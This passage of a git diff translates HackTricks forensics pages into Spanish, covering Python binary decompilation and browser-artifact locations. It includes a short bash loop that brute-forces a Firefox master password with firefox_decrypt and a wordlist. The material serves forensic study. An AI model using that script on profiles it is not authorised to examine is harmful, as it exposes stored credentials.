telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +Una vez que hayas detectado **direcciones MAC desconocidas** comunicándose dentro de la red, puedes usar **filtros** como el siguiente: `wlan.addr== && (ftp || http || ssh || telnet)` para filtrar su tráfico. Ten en cuenta que los filtros ftp/http/ssh/telnet son útiles si has descifrado el tráfico. -# Decrypt Traffic +# Desencriptar Tráfico Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md index ec397e99a..8ae591542 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md @@ -1,77 +1,61 @@ -# Decompile compiled python binaries (exe, elf) - Retreive from .pyc +# Decompilar binarios de python compilados (exe, elf) - Recuperar de .pyc {{#include ../../../banners/hacktricks-training.md}} -
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -## From Compiled Binary to .pyc - -From an **ELF** compiled binary you can **get the .pyc** with: +## De binario compilado a .pyc +De un binario compilado **ELF** puedes **obtener el .pyc** con: ```bash pyi-archive_viewer # The list of python modules will be given here: [(0, 230, 311, 1, 'm', 'struct'), - (230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), - (1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), - (5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), - (10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), - (12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), - (13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), - (13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), - (15090, 445, 672, 1, 's', 'pyi_rth_inspect'), - (15535, 2514, 4421, 1, 's', 'binary_name'), +(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'), +(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'), +(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'), +(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'), +(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'), +(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'), +(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'), +(15090, 445, 672, 1, 's', 'pyi_rth_inspect'), +(15535, 2514, 4421, 1, 's', 'binary_name'), ... ? X binary_name to filename? /tmp/binary.pyc ``` - -In a **python exe binary** compiled you can **get the .pyc** by running: - +En un **binario exe de python** compilado, puedes **obtener el .pyc** ejecutando: ```bash python pyinstxtractor.py executable.exe ``` +## De .pyc a código python -## From .pyc to python code - -For the **.pyc** data ("compiled" python) you should start trying to **extract** the **original** **python** **code**: - +Para los datos **.pyc** ("compilado" python) deberías comenzar intentando **extraer** el **código** **python** **original**: ```bash uncompyle6 binary.pyc > decompiled.py ``` +**Asegúrate** de que el binario tenga la **extensión** "**.pyc**" (si no, uncompyle6 no va a funcionar) -**Be sure** that the binary has the **extension** "**.pyc**" (if not, uncompyle6 is not going to work) - -While executing **uncompyle6** you might find the **following errors**: - -### Error: Unknown magic number 227 +Al ejecutar **uncompyle6** podrías encontrar los **siguientes errores**: +### Error: Número mágico desconocido 227 ```bash /kali/.local/bin/uncompyle6 /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc ``` +Para solucionar esto, necesitas **agregar el número mágico correcto** al principio del archivo generado. -To fix this you need to **add the correct magic number** at the beginning of the generated file. - -**Magic numbers vary with the python version**, to get the magic number of **python 3.8** you will need to **open a python 3.8** terminal and execute: - +**Los números mágicos varían según la versión de python**, para obtener el número mágico de **python 3.8** necesitarás **abrir un terminal de python 3.8** y ejecutar: ``` >> import imp >> imp.get_magic().hex() '550d0d0a' ``` +El **número mágico** en este caso para python3.8 es **`0x550d0d0a`**, entonces, para solucionar este error necesitarás **agregar** al **principio** del **.pyc file** los siguientes bytes: `0x0d550a0d000000000000000000000000` -The **magic number** in this case for python3.8 is **`0x550d0d0a`**, then, to fix this error you will need to **add** at the **beginning** of the **.pyc file** the following bytes: `0x0d550a0d000000000000000000000000` - -**Once** you have **added** that magic header, the **error should be fixed.** - -This is how a correctly added **.pyc python3.8 magic header** will look like: +**Una vez** que hayas **agregado** ese encabezado mágico, el **error debería estar solucionado.** +Así es como se verá un **.pyc python3.8 magic header** correctamente agregado: ```bash hexdump 'binary.pyc' | head 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 @@ -79,25 +63,23 @@ hexdump 'binary.pyc' | head 0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064 ``` +### Error: Errores genéricos de descompilación -### Error: Decompiling generic errors +**Otros errores** como: `class 'AssertionError'>; co_code debería ser uno de los tipos (, , , ); es tipo ` pueden aparecer. -**Other errors** like: `class 'AssertionError'>; co_code should be one of the types (, , , ); is type ` may appear. +Esto probablemente significa que **no has añadido correctamente** el número mágico o que no has **utilizado** el **número mágico correcto**, así que **asegúrate de usar el correcto** (o prueba uno nuevo). -This probably means that you **haven't added correctly** the magic number or that you haven't **used** the **correct magic number**, so make **sure you use the correct one** (or try a new one). +Consulta la documentación del error anterior. -Check the previous error documentation. +## Herramienta Automática -## Automatic Tool +La [**herramienta python-exe-unpacker**](https://github.com/countercept/python-exe-unpacker) sirve como una combinación de varias herramientas disponibles en la comunidad diseñadas para ayudar a los investigadores a desempaquetar y descompilar ejecutables escritos en Python, específicamente aquellos creados con py2exe y pyinstaller. Incluye reglas YARA para identificar si un ejecutable está basado en Python y confirma la herramienta de creación. -The [**python-exe-unpacker tool**](https://github.com/countercept/python-exe-unpacker) serves as a combination of several community-available tools designed to assist researchers in unpacking and decompiling executables written in Python, specifically those created with py2exe and pyinstaller. It includes YARA rules to identify if an executable is Python-based and confirms the creation tool. +### ImportError: Nombre de archivo: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' no existe -### ImportError: File name: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' doesn't exist - -A common issue encountered involves an incomplete Python bytecode file resulting from the **unpacking process with unpy2exe or pyinstxtractor**, which then **fails to be recognized by uncompyle6 due to a missing Python bytecode version number**. To address this, a prepend option has been added, which appends the necessary Python bytecode version number, facilitating the decompiling process. - -Example of the issue: +Un problema común encontrado involucra un archivo de bytecode de Python incompleto resultante del **proceso de desempaquetado con unpy2exe o pyinstxtractor**, que luego **no es reconocido por uncompyle6 debido a un número de versión de bytecode de Python faltante**. Para abordar esto, se ha añadido una opción de prepend, que agrega el número de versión de bytecode de Python necesario, facilitando el proceso de descompilación. +Ejemplo del problema: ```python # Error when attempting to decompile without the prepend option test@test: uncompyle6 unpacked/malware_3.exe/archive.py @@ -115,11 +97,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive # Successfully decompiled file [+] Successfully decompiled. ``` +## Análisis de ensamblaje de python -## Analyzing python assembly - -If you weren't able to extract the python "original" code following the previous steps, then you can try to **extract** the **assembly** (but i**t isn't very descriptive**, so **try** to extract **again** the original code).In [here](https://bits.theorem.co/protecting-a-python-codebase/) I found a very simple code to **disassemble** the _.pyc_ binary (good luck understanding the code flow). If the _.pyc_ is from python2, use python2: - +Si no pudiste extraer el código "original" de python siguiendo los pasos anteriores, entonces puedes intentar **extraer** el **ensamblaje** (pero **no es muy descriptivo**, así que **intenta** extraer **nuevamente** el código original). En [aquí](https://bits.theorem.co/protecting-a-python-codebase/) encontré un código muy simple para **desensamblar** el binario _.pyc_ (buena suerte entendiendo el flujo del código). Si el _.pyc_ es de python2, usa python2: ```bash >>> import dis >>> import marshal @@ -145,34 +125,32 @@ True >>> >>> # Disassemble the code object >>> dis.disassemble(code) - 1 0 LOAD_CONST 0 () - 3 MAKE_FUNCTION 0 - 6 STORE_NAME 0 (hello_world) - 9 LOAD_CONST 1 (None) - 12 RETURN_VALUE +1 0 LOAD_CONST 0 () +3 MAKE_FUNCTION 0 +6 STORE_NAME 0 (hello_world) +9 LOAD_CONST 1 (None) +12 RETURN_VALUE >>> >>> # Also disassemble that const being loaded (our function) >>> dis.disassemble(code.co_consts[0]) - 2 0 LOAD_CONST 1 ('Hello {0}') - 3 LOAD_ATTR 0 (format) - 6 LOAD_FAST 0 (name) - 9 CALL_FUNCTION 1 - 12 PRINT_ITEM - 13 PRINT_NEWLINE - 14 LOAD_CONST 0 (None) - 17 RETURN_VALUE +2 0 LOAD_CONST 1 ('Hello {0}') +3 LOAD_ATTR 0 (format) +6 LOAD_FAST 0 (name) +9 CALL_FUNCTION 1 +12 PRINT_ITEM +13 PRINT_NEWLINE +14 LOAD_CONST 0 (None) +17 RETURN_VALUE ``` +## Python a Ejecutable -## Python to Executable +Para comenzar, vamos a mostrarte cómo se pueden compilar los payloads en py2exe y PyInstaller. -To start, we’re going to show you how payloads can be compiled in py2exe and PyInstaller. - -### To create a payload using py2exe: - -1. Install the py2exe package from [http://www.py2exe.org/](http://www.py2exe.org) -2. For the payload (in this case, we will name it hello.py), use a script like the one in Figure 1. The option “bundle_files” with the value of 1 will bundle everything including the Python interpreter into one exe. -3. Once the script is ready, we will issue the command “python setup.py py2exe”. This will create the executable, just like in Figure 2. +### Para crear un payload usando py2exe: +1. Instala el paquete py2exe desde [http://www.py2exe.org/](http://www.py2exe.org) +2. Para el payload (en este caso, lo llamaremos hello.py), utiliza un script como el de la Figura 1. La opción “bundle_files” con el valor de 1 agrupará todo, incluyendo el intérprete de Python, en un solo exe. +3. Una vez que el script esté listo, emitiremos el comando “python setup.py py2exe”. Esto creará el ejecutable, tal como en la Figura 2. ```python from distutils.core import setup import py2exe, sys, os @@ -180,10 +158,10 @@ import py2exe, sys, os sys.argv.append('py2exe') setup( - options = {'py2exe': {'bundle_files': 1}}, - #windows = [{'script': "hello.py"}], - console = [{'script': "hello.py"}], - zipfile = None, +options = {'py2exe': {'bundle_files': 1}}, +#windows = [{'script': "hello.py"}], +console = [{'script': "hello.py"}], +zipfile = None, ) ``` @@ -200,12 +178,10 @@ running py2exe copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe ``` +### Para crear un payload usando PyInstaller: -### To create a payload using PyInstaller: - -1. Install PyInstaller using pip (pip install pyinstaller). -2. After that, we will issue the command “pyinstaller –onefile hello.py” (a reminder that ‘hello.py’ is our payload). This will bundle everything into one executable. - +1. Instala PyInstaller usando pip (pip install pyinstaller). +2. Después de eso, emitiremos el comando “pyinstaller –onefile hello.py” (un recordatorio de que ‘hello.py’ es nuestro payload). Esto empaquetará todo en un solo ejecutable. ``` C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 108 INFO: PyInstaller: 3.3.1 @@ -218,15 +194,9 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py 5982 INFO: Appending archive to EXE C:\Users\test\Desktop\test\dist\hello.exe 6325 INFO: Building EXE from out00-EXE.toc completed successfully. ``` - -## References +## Referencias - [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/) -
- -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md index 76fa3ef23..741d4b18e 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/README.md @@ -1,6 +1,6 @@ {{#include ../../../banners/hacktricks-training.md}} -Here you can find interesting tricks for specific file-types and/or software: +Aquí puedes encontrar trucos interesantes para tipos de archivos y/o software específicos: {{#ref}} .pyc.md diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md index ba35ea1fd..4fbfef9a6 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/browser-artifacts.md @@ -1,139 +1,129 @@ -# Browser Artifacts +# Artefactos del Navegador {{#include ../../../banners/hacktricks-training.md}} -
+## Artefactos del Navegador -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Los artefactos del navegador incluyen varios tipos de datos almacenados por los navegadores web, como el historial de navegación, marcadores y datos de caché. Estos artefactos se mantienen en carpetas específicas dentro del sistema operativo, variando en ubicación y nombre entre navegadores, pero generalmente almacenando tipos de datos similares. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +Aquí hay un resumen de los artefactos de navegador más comunes: -## Browsers Artifacts - -Browser artifacts include various types of data stored by web browsers, such as navigation history, bookmarks, and cache data. These artifacts are kept in specific folders within the operating system, differing in location and name across browsers, yet generally storing similar data types. - -Here's a summary of the most common browser artifacts: - -- **Navigation History**: Tracks user visits to websites, useful for identifying visits to malicious sites. -- **Autocomplete Data**: Suggestions based on frequent searches, offering insights when combined with navigation history. -- **Bookmarks**: Sites saved by the user for quick access. -- **Extensions and Add-ons**: Browser extensions or add-ons installed by the user. -- **Cache**: Stores web content (e.g., images, JavaScript files) to improve website loading times, valuable for forensic analysis. -- **Logins**: Stored login credentials. -- **Favicons**: Icons associated with websites, appearing in tabs and bookmarks, useful for additional information on user visits. -- **Browser Sessions**: Data related to open browser sessions. -- **Downloads**: Records of files downloaded through the browser. -- **Form Data**: Information entered in web forms, saved for future autofill suggestions. -- **Thumbnails**: Preview images of websites. -- **Custom Dictionary.txt**: Words added by the user to the browser's dictionary. +- **Historial de Navegación**: Registra las visitas del usuario a sitios web, útil para identificar visitas a sitios maliciosos. +- **Datos de Autocompletar**: Sugerencias basadas en búsquedas frecuentes, ofreciendo información cuando se combinan con el historial de navegación. +- **Marcadores**: Sitios guardados por el usuario para acceso rápido. +- **Extensiones y Complementos**: Extensiones del navegador o complementos instalados por el usuario. +- **Caché**: Almacena contenido web (por ejemplo, imágenes, archivos JavaScript) para mejorar los tiempos de carga de los sitios web, valioso para el análisis forense. +- **Inicios de Sesión**: Credenciales de inicio de sesión almacenadas. +- **Favicons**: Iconos asociados con sitios web, que aparecen en pestañas y marcadores, útiles para información adicional sobre las visitas del usuario. +- **Sesiones del Navegador**: Datos relacionados con las sesiones abiertas del navegador. +- **Descargas**: Registros de archivos descargados a través del navegador. +- **Datos de Formularios**: Información ingresada en formularios web, guardada para futuras sugerencias de autocompletar. +- **Miniaturas**: Imágenes de vista previa de sitios web. +- **Custom Dictionary.txt**: Palabras añadidas por el usuario al diccionario del navegador. ## Firefox -Firefox organizes user data within profiles, stored in specific locations based on the operating system: +Firefox organiza los datos del usuario dentro de perfiles, almacenados en ubicaciones específicas según el sistema operativo: - **Linux**: `~/.mozilla/firefox/` - **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/` - **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\` -A `profiles.ini` file within these directories lists the user profiles. Each profile's data is stored in a folder named in the `Path` variable within `profiles.ini`, located in the same directory as `profiles.ini` itself. If a profile's folder is missing, it may have been deleted. +Un archivo `profiles.ini` dentro de estos directorios lista los perfiles de usuario. Los datos de cada perfil se almacenan en una carpeta nombrada en la variable `Path` dentro de `profiles.ini`, ubicada en el mismo directorio que `profiles.ini` mismo. Si falta la carpeta de un perfil, puede haber sido eliminada. -Within each profile folder, you can find several important files: +Dentro de cada carpeta de perfil, puedes encontrar varios archivos importantes: -- **places.sqlite**: Stores history, bookmarks, and downloads. Tools like [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) on Windows can access the history data. - - Use specific SQL queries to extract history and downloads information. -- **bookmarkbackups**: Contains backups of bookmarks. -- **formhistory.sqlite**: Stores web form data. -- **handlers.json**: Manages protocol handlers. -- **persdict.dat**: Custom dictionary words. -- **addons.json** and **extensions.sqlite**: Information on installed add-ons and extensions. -- **cookies.sqlite**: Cookie storage, with [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) available for inspection on Windows. -- **cache2/entries** or **startupCache**: Cache data, accessible through tools like [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). -- **favicons.sqlite**: Stores favicons. -- **prefs.js**: User settings and preferences. -- **downloads.sqlite**: Older downloads database, now integrated into places.sqlite. -- **thumbnails**: Website thumbnails. -- **logins.json**: Encrypted login information. -- **key4.db** or **key3.db**: Stores encryption keys for securing sensitive information. +- **places.sqlite**: Almacena historial, marcadores y descargas. Herramientas como [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) en Windows pueden acceder a los datos del historial. +- Usa consultas SQL específicas para extraer información de historial y descargas. +- **bookmarkbackups**: Contiene copias de seguridad de marcadores. +- **formhistory.sqlite**: Almacena datos de formularios web. +- **handlers.json**: Gestiona los controladores de protocolo. +- **persdict.dat**: Palabras del diccionario personalizado. +- **addons.json** y **extensions.sqlite**: Información sobre complementos y extensiones instalados. +- **cookies.sqlite**: Almacenamiento de cookies, con [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) disponible para inspección en Windows. +- **cache2/entries** o **startupCache**: Datos de caché, accesibles a través de herramientas como [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). +- **favicons.sqlite**: Almacena favicons. +- **prefs.js**: Configuraciones y preferencias del usuario. +- **downloads.sqlite**: Base de datos de descargas antiguas, ahora integrada en places.sqlite. +- **thumbnails**: Miniaturas de sitios web. +- **logins.json**: Información de inicio de sesión encriptada. +- **key4.db** o **key3.db**: Almacena claves de encriptación para asegurar información sensible. -Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled. - -To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -With the following script and call you can specify a password file to brute force: +Además, verificar la configuración de anti-phishing del navegador se puede hacer buscando entradas `browser.safebrowsing` en `prefs.js`, indicando si las funciones de navegación segura están habilitadas o deshabilitadas. +Para intentar descifrar la contraseña maestra, puedes usar [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ +Con el siguiente script y llamada puedes especificar un archivo de contraseña para hacer fuerza bruta: ```bash:brute.sh #!/bin/bash #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` - ![](<../../../images/image (417).png>) ## Google Chrome -Google Chrome stores user profiles in specific locations based on the operating system: +Google Chrome almacena perfiles de usuario en ubicaciones específicas según el sistema operativo: - **Linux**: `~/.config/google-chrome/` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data: +Dentro de estos directorios, la mayoría de los datos del usuario se pueden encontrar en las carpetas **Default/** o **ChromeDefaultData/**. Los siguientes archivos contienen datos significativos: -- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads. -- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available. -- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: User bookmarks. -- **Web Data**: Contains form history. -- **Favicons**: Stores website favicons. -- **Login Data**: Includes login credentials like usernames and passwords. -- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs. -- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed. -- **Extensions**: Directories for browser extensions and addons. -- **Thumbnails**: Stores website thumbnails. -- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more. -- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output. +- **History**: Contiene URLs, descargas y palabras clave de búsqueda. En Windows, se puede usar [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) para leer el historial. La columna "Transition Type" tiene varios significados, incluidos clics del usuario en enlaces, URLs escritas, envíos de formularios y recargas de página. +- **Cookies**: Almacena cookies. Para inspección, está disponible [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html). +- **Cache**: Contiene datos en caché. Para inspeccionar, los usuarios de Windows pueden utilizar [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). +- **Bookmarks**: Marcadores del usuario. +- **Web Data**: Contiene el historial de formularios. +- **Favicons**: Almacena favicons de sitios web. +- **Login Data**: Incluye credenciales de inicio de sesión como nombres de usuario y contraseñas. +- **Current Session**/**Current Tabs**: Datos sobre la sesión de navegación actual y las pestañas abiertas. +- **Last Session**/**Last Tabs**: Información sobre los sitios activos durante la última sesión antes de que se cerrara Chrome. +- **Extensions**: Directorios para extensiones y complementos del navegador. +- **Thumbnails**: Almacena miniaturas de sitios web. +- **Preferences**: Un archivo rico en información, que incluye configuraciones para complementos, extensiones, ventanas emergentes, notificaciones y más. +- **Browser’s built-in anti-phishing**: Para verificar si la protección contra phishing y malware está habilitada, ejecute `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Busque `{"enabled: true,"}` en la salida. -## **SQLite DB Data Recovery** +## **Recuperación de Datos de SQLite DB** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +Como se puede observar en las secciones anteriores, tanto Chrome como Firefox utilizan bases de datos **SQLite** para almacenar los datos. Es posible **recuperar entradas eliminadas utilizando la herramienta** [**sqlparse**](https://github.com/padfoot999/sqlparse) **o** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). ## **Internet Explorer 11** -Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management. +Internet Explorer 11 gestiona sus datos y metadatos en varias ubicaciones, ayudando a separar la información almacenada y sus detalles correspondientes para un fácil acceso y gestión. -### Metadata Storage +### Almacenamiento de Metadatos -Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype. +Los metadatos para Internet Explorer se almacenan en `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (siendo VX V01, V16 o V24). Acompañando esto, el archivo `V01.log` puede mostrar discrepancias en el tiempo de modificación con `WebcacheVX.data`, indicando la necesidad de reparación utilizando `esentutl /r V01 /d`. Estos metadatos, alojados en una base de datos ESE, pueden ser recuperados e inspeccionados utilizando herramientas como photorec y [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectivamente. Dentro de la tabla **Containers**, se puede discernir las tablas o contenedores específicos donde se almacena cada segmento de datos, incluidos los detalles de caché para otras herramientas de Microsoft como Skype. -### Cache Inspection +### Inspección de Caché -The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times. +La herramienta [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) permite la inspección de caché, requiriendo la ubicación de la carpeta de extracción de datos de caché. Los metadatos de caché incluyen nombre de archivo, directorio, conteo de accesos, origen de URL y marcas de tiempo que indican la creación, acceso, modificación y tiempos de expiración de la caché. -### Cookies Management +### Gestión de Cookies -Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory. +Las cookies se pueden explorar utilizando [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), con metadatos que abarcan nombres, URLs, conteos de acceso y varios detalles relacionados con el tiempo. Las cookies persistentes se almacenan en `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, mientras que las cookies de sesión residen en memoria. -### Download Details +### Detalles de Descargas -Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. +Los metadatos de descargas son accesibles a través de [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), con contenedores específicos que contienen datos como URL, tipo de archivo y ubicación de descarga. Los archivos físicos se pueden encontrar en `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. -### Browsing History +### Historial de Navegación -To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +Para revisar el historial de navegación, se puede usar [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), requiriendo la ubicación de los archivos de historial extraídos y la configuración para Internet Explorer. Los metadatos aquí incluyen tiempos de modificación y acceso, junto con conteos de acceso. Los archivos de historial se encuentran en `%userprofile%\Appdata\Local\Microsoft\Windows\History`. -### Typed URLs +### URLs Escritas -Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times. +Las URLs escritas y sus tiempos de uso se almacenan en el registro bajo `NTUSER.DAT` en `Software\Microsoft\InternetExplorer\TypedURLs` y `Software\Microsoft\InternetExplorer\TypedURLsTime`, rastreando las últimas 50 URLs ingresadas por el usuario y sus últimos tiempos de entrada. ## Microsoft Edge -Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are: +Microsoft Edge almacena datos de usuario en `%userprofile%\Appdata\Local\Packages`. Las rutas para varios tipos de datos son: - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` @@ -143,38 +133,30 @@ Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The p ## Safari -Safari data is stored at `/Users/$User/Library/Safari`. Key files include: +Los datos de Safari se almacenan en `/Users/$User/Library/Safari`. Los archivos clave incluyen: -- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query. -- **Downloads.plist**: Information about downloaded files. -- **Bookmarks.plist**: Stores bookmarked URLs. -- **TopSites.plist**: Most frequently visited sites. -- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve. -- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse. -- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse. -- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active. +- **History.db**: Contiene tablas `history_visits` y `history_items` con URLs y marcas de tiempo de visitas. Use `sqlite3` para consultar. +- **Downloads.plist**: Información sobre archivos descargados. +- **Bookmarks.plist**: Almacena URLs marcadas. +- **TopSites.plist**: Sitios más visitados. +- **Extensions.plist**: Lista de extensiones del navegador Safari. Use `plutil` o `pluginkit` para recuperar. +- **UserNotificationPermissions.plist**: Dominios permitidos para enviar notificaciones. Use `plutil` para analizar. +- **LastSession.plist**: Pestañas de la última sesión. Use `plutil` para analizar. +- **Browser’s built-in anti-phishing**: Verifique usando `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Una respuesta de 1 indica que la función está activa. ## Opera -Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads. +Los datos de Opera residen en `/Users/$USER/Library/Application Support/com.operasoftware.Opera` y comparte el formato de Chrome para el historial y las descargas. -- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`. +- **Browser’s built-in anti-phishing**: Verifique comprobando si 